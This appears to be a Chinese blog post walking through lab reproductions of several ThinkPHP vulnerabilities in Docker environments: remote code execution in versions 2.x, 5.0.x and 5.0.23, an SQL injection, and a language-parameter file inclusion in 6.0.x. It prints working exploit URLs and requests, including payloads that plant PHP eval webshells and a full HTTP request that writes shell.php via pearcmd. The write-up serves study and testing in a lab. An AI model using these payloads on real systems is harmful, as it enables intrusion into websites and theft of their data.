Thinkphp漏洞复现2-rce 5-rce 5.0.23-rce in-sqlinjection lang-rce

Posted on 2024-07-23  62 Views


5.0.23-rce

此环境源自Thinkphp5.0.23的一个rce漏洞,由docker搭建

直接上工具,具体工具可上github下载

https://github.com/Lotus6/ThinkphpGUI/releases/tag/1.3

我们选择对应版本号并导入url,点击检测发现存在payload,说明有漏洞,直接getshell

爆出路径和密码用哥斯拉连接

选择php模式,将url和密码输入,点击测试连接,连接成功点击添加

右键进入拿到shell

2-rce

同样的操作,我们先阅读README文件

# ThinkPHP 2.x 任意代码执行漏洞

ThinkPHP 2.x版本中,使用`preg_replace`的`/e`模式匹配路由:

```php
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
```

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

## 环境搭建

执行如下命令启动ThinkPHP 2.1的Demo应用:

```bash
docker compose up -d
```

环境启动后,访问`http://your-ip:8080/Index/Index`即可查看到默认页面。

## 漏洞复现

直接访问`http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`即可执行`phpinfo()`:

根据readme文件,我们先访问其默认页面,看到了这个

接着按照他的要求访问可执行phpinfo页面

将可执行代码变成一句话webshell

http://192.168.101.31:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

蚁剑测试连接

5-rce

# ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

参考链接:

- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570

## 漏洞环境

运行ThinkPHP 5.0.20版本:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8080`即可看到ThinkPHP默认启动页面。

## 漏洞复现

直接访问`http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`,即可执行phpinfo:

call_user_func_array是方法名,/Index/\think\app/invokefunction这是URL中的查询字符串部分,它包含了要执行的路由,vars[0]=phpinfo&vars[1][]=-1是参数,根据以上信息构造payload

vars[0]=system&vars[1][]=echo%20"<?php%20@eval(\$_POST['cmd']);?>">>1.php

system语法: string system(string command, int [return_var]); system返回值: 字符串 函数种类: 操作系统与环境 system内容说明 本函数就像是 C 语中的函数 system(),用来执行指令,并输出结果。echo语句输出一句话木马到1.php中

in-sqlinjection

# ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

运行环境:

```
docker compose up -d
```

启动后,访问`http://your-ip/index.php?ids[]=1&ids[]=2`,即可看到用户名被显示了出来,说明环境运行成功。

## 漏洞原理

漏洞原理说明:

- https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
- https://xz.aliyun.com/t/125

不再赘述。

## 漏洞利用

访问`http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`,信息成功被爆出:

![](01.png)

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:

![](02.png)

这又属于一个敏感信息泄露漏洞

具体请见https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

lang-rce

# ThinkPHP 多语言本地文件包含漏洞

ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当多语言特性被开启时,攻击者可以使用`lang`参数来包含任意PHP文件。

虽然只能包含本地PHP文件,但在开启了`register_argc_argv`且安装了pcel/pear的环境下,可以包含`/usr/local/lib/php/pearcmd.php`并写入任意文件。

参考链接:

- <https://tttang.com/archive/1865/>
- <https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp> (本文介绍了`pearcmd.php`利用技巧的原理)

## 漏洞环境

执行如下命令启动一个使用ThinkPHP 6.0.12版本开发的Web应用:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:8080`即可查看到ThinkPHP默认的欢迎页面。

## 漏洞利用

首先,ThinkPHP多语言特性不是默认开启的,所以我们可以尝试包含`public/index.php`文件来确认文件包含漏洞是否存在:

![](1.png)

如果漏洞存在,则服务器会出错,返回500页面。

文件包含漏洞存在的情况下还需要服务器满足下面两个条件才能利用:

1. PHP环境开启了`register_argc_argv`
2. PHP环境安装了pcel/pear

Docker默认的PHP环境恰好满足上述条件,所以我们可以直接使用下面这个数据包来在写`shell.php`文件:

```
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Cache-Control: max-age=0


```

如果服务器返回pearcmd的命令行执行结果,说明漏洞利用成功:

![](2.png)

此时访问`http://your-ip:8080/shell.php`即可发现已经成功写入文件:

![](3.png)

访问public/index.php

发现没有返回500状态码,不存在漏洞